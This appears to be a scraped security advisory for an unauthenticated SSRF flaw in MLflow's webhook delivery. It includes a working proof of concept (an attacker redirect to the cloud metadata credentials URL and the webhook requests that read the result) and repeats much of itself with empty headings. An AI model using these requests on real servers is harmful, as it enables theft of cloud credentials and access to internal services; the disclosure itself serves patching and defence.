MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)

CRITICAL 9.3EXPLOITED (CISA KEV)CVE-2026-64849 · BIT-mlflow-2026-64849 · GHSA-7gwp-5pfp-969j · Published 17/08/2026 · updated 26/10/2026

MLflow Server-Side Request Forgery Vulnerability. Actively exploited: CISA added this vulnerability to its Known Exploited Vulnerabilities catalog on 19/08/2026. Patch affected systems as an emergency.

Package	Affected versions	Patched versions
mlflow PyPI	`≥ 3.3.0, < 3.15.0< 3.15.0`	`3.15.0`
mlflow lfprojects	`≥ 3.3.0, < 3.15.0`	`3.15.0`

Description

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.
The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

Since I don't have a cloud deployment, I placed "my secret data" in the same location.

Notes:

Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s.
Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.
Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.
Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Follow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting. The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.

NVD description

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

References

mlflow/mlflow security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2026-64849 · ADVISORY
mlflow/mlflow · WEB
mlflow/mlflow#24258 · WEB
mlflow/mlflow commit ba94952 · WEB
GitHub Advisory GHSA-7gwp-5pfp-969j · ADVISORY
mlflow/mlflow · PACKAGE
mlflow/mlflow release v3.15.0 · WEB
pypa/advisory-database · WEB
pypi.org/project/mlflow · WEB
cisa.gov/known-exploited-vulnerabilities-catalog · WEB
CISA KEV · CVE-2026-64849

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

mlflow

PyPI

≥ 3.3.0, < 3.15.0< 3.15.0

3.15.0

mlflow

lfprojects

≥ 3.3.0, < 3.15.0

3.15.0

Description

Summary

Details

Three facts combine:

Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.
The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

PoC

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

Since I don't have a cloud deployment, I placed "my secret data" in the same location.

Notes:

Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s.
Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.
Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.
Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

Fix

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

NVD description